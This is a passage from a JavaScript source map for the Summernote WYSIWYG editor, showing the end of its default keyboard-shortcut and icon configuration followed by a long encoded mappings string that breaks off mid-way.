'undo',\n 'CMD+SHIFT+Z': 'redo',\n 'TAB': 'tab',\n 'SHIFT+TAB': 'untab',\n 'CMD+B': 'bold',\n 'CMD+I': 'italic',\n 'CMD+U': 'underline',\n 'CMD+SHIFT+S': 'strikethrough',\n 'CMD+BACKSLASH': 'removeFormat',\n 'CMD+SHIFT+L': 'justifyLeft',\n 'CMD+SHIFT+E': 'justifyCenter',\n 'CMD+SHIFT+R': 'justifyRight',\n 'CMD+SHIFT+J': 'justifyFull',\n 'CMD+SHIFT+NUM7': 'insertUnorderedList',\n 'CMD+SHIFT+NUM8': 'insertOrderedList',\n 'CMD+LEFTBRACKET': 'outdent',\n 'CMD+RIGHTBRACKET': 'indent',\n 'CMD+NUM0': 'formatPara',\n 'CMD+NUM1': 'formatH1',\n 'CMD+NUM2': 'formatH2',\n 'CMD+NUM3': 'formatH3',\n 'CMD+NUM4': 'formatH4',\n 'CMD+NUM5': 'formatH5',\n 'CMD+NUM6': 'formatH6',\n 'CMD+ENTER': 'insertHorizontalRule',\n 'CMD+K': 'linkDialog.show'\n }\n },\n icons: {\n 'align': 'note-icon-align',\n 'alignCenter': 'note-icon-align-center',\n 'alignJustify': 'note-icon-align-justify',\n 'alignLeft': 'note-icon-align-left',\n 'alignRight': 'note-icon-align-right',\n 'rowBelow': 'note-icon-row-below',\n 'colBefore': 'note-icon-col-before',\n 'colAfter': 'note-icon-col-after',\n 'rowAbove': 'note-icon-row-above',\n 'rowRemove': 'note-icon-row-remove',\n 'colRemove': 'note-icon-col-remove',\n 'indent': 'note-icon-align-indent',\n 'outdent': 'note-icon-align-outdent',\n 'arrowsAlt': 'note-icon-arrows-alt',\n 'bold': 'note-icon-bold',\n 'caret': 'note-icon-caret',\n 'circle': 'note-icon-circle',\n 'close': 'note-icon-close',\n 'code': 'note-icon-code',\n 'eraser': 'note-icon-eraser',\n 'font': 'note-icon-font',\n 'frame': 'note-icon-frame',\n 'italic': 'note-icon-italic',\n 'link': 'note-icon-link',\n 'unlink': 'note-icon-chain-broken',\n 'magic': 'note-icon-magic',\n 'menuCheck': 'note-icon-menu-check',\n 'minus': 'note-icon-minus',\n 'orderedlist': 'note-icon-orderedlist',\n 'pencil': 'note-icon-pencil',\n 'picture': 'note-icon-picture',\n 'question': 'note-icon-question',\n 'redo': 'note-icon-redo',\n 'square': 'note-icon-square',\n 'strikethrough': 'note-icon-strikethrough',\n 'subscript': 'note-icon-subscript',\n 'superscript': 'note-icon-superscript',\n 'table': 'note-icon-table',\n 'textHeight': 'note-icon-text-height',\n 'trash': 'note-icon-trash',\n 'underline': 'note-icon-underline',\n 'undo': 'note-icon-undo',\n 'unorderedlist': 'note-icon-unorderedlist',\n 'video': 'note-icon-video'\n }\n }\n});\n\nimport '../summernote'; // eslint-disable-line\n"],"names":["$","Codeview"],"mappings":"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